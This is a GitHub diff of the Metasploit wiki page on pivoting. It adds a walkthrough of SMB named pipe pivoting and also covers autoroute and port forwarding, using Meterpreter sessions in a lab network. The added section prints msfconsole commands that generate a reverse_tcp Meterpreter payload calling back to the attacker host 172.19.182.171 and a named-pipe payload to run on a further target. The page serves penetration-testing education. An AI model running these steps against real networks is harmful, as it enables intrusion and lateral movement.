You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: docs/metasploit-framework.wiki/Pivoting-in-Metasploit.md
+83-10Lines changed: 83 additions & 10 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -1,4 +1,5 @@
1
-
# Overview of Pivoting And Its Benefits
1
+
## Overview
2
+
2
3
Whilst in test environments one is often looking at flat networks that only have one subnet and one network environment, the reality is that when it comes to pentests that are attempting to compromise an entire company, you will often have to deal with multiple networks, often with switches or firewalls in-between that are intended to keep these networks separate from one another.
3
4
4
5
In order for pivoting to work, you must have compromised a host that is connected to two or more networks. This usually means that the host has two or more network adapters, whether that be physical network adapters, virtual network adapters, or a combination of both.
@@ -7,11 +8,14 @@ Once you have compromised a host that has multiple network adapters you can then
7
8
8
9
Now that we understand some of the background, lets see this in action a bit more by setting up a sample environment and walking through some of Metasploit's pivoting features.
9
10
10
-
# A Quick Note Before Continuing
11
+
## Supported Session Types
12
+
11
13
Pivoting functionality is provided by all Meterpreter and SSH sessions that occur over TCP channels. Whilst Meterpreter is mentioned below, keep in mind that this would also work with an SSH session as well. We have just resorted to using Meterpreter for this example for demonstration purposes.
12
14
13
-
# Testing Pivoting
14
-
## Target Environment Setup
15
+
## Testing Pivoting
16
+
17
+
### Target Environment Setup
18
+
15
19
- Kali Machine
16
20
- Internal: None
17
21
- External: 172.19.182.171
@@ -153,7 +157,7 @@ IPv4 Active Routing Table
153
157
msf6 post(multi/manage/autoroute) >
154
158
```
155
159
156
-
# Using the Pivot
160
+
##Using the Pivot
157
161
At this point we can now use the pivot with any Metasploit modules as shown below:
The Windows Meterpreter payload supports lateral movement in a network through SMB Named Pipe Pivoting. No other Meterpreters/session types support this functionality.
221
+
222
+
First open a Windows Meterpreter session to the pivot machine:
223
+
224
+
```
225
+
msf6 > use payload/windows/x64/meterpreter/reverse_tcp
226
+
smsf6 payload(windows/x64/meterpreter/reverse_tcp) > set lhost 172.19.182.171
227
+
lhost => 172.19.182.171
228
+
msf6 payload(windows/x64/meterpreter/reverse_tcp) > set lport 4578
meterpreter > pivot add -t pipe -l 169.254.16.221 -n msf-pipe -a x64 -p windows
245
+
[+] Successfully created pipe pivot.
246
+
meterpreter > background
247
+
[*] Backgrounding session 1...
248
+
```
249
+
250
+
Now generate a separate payload that will connect back through the pivot machine. This payload will be executed on the final target machine. Note there is no need to start a handler for the named pipe payload.
251
+
252
+
```
253
+
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > show options
*Note: This method is discouraged as you can only set up a mapping between a single port and another target host and port, so using the socks module below is encouraged where possible. Additionally this method has been depreciated for some time now.*
216
289
217
-
### Local Port Forwarding
290
+
####Local Port Forwarding
218
291
To set up a port forward using Metasploit, use the `portfwd` command within a supported session's console such as the Meterpreter console. Using `portfwd -h` will bring up a help menu similar to the following:
219
292
220
293
```
@@ -262,7 +335,7 @@ Connecting to 127.0.0.1:443... failed: Connection refused.
262
335
263
336
Note that you may need to edit your `/etc/hosts` file to map IP addresses to given host names to allow things like redirects to redirect to the right hostname or IP address when using this method of pivoting.
264
337
265
-
### Listing Port Forwards and Removing Entries
338
+
####Listing Port Forwards and Removing Entries
266
339
Can list port forwards using the `portfwd list` command. To delete all port forwards use `portfwd flush`. Alternatively to selectively delete local port forwarding entries, use `portfwd delete -l <local port>`.
267
340
268
341
```
@@ -275,7 +348,7 @@ No port forwards are currently active.
275
348
meterpreter >
276
349
```
277
350
278
-
### Remote Port Forwarding
351
+
####Remote Port Forwarding
279
352
This scenario is a bit different than above. Whereas previously we were instructing the session to forward traffic from our host running Metasploit, through the session, and to a second target host, with reverse port forwarding the scenario is a bit different. In this case we are instructing the session to forward traffic from other hosts through the session, and to our host running Metasploit. This is useful for allowing other applications running within a target network to interact with local applications on the machine running Metasploit.
280
353
281
354
To set up a reverse port forward, use `portfwd add -R` within a supported session and then specify the `-l`, `-L` and `-p` options. The `-l` option specifies the port to forward the traffic to, the `-L` option specifies the IP address to forward the traffic to, and the `-p` option specifies the port to listen on for traffic on the machine that we have a session on (whose session console we are currently interacting with).
0 commit comments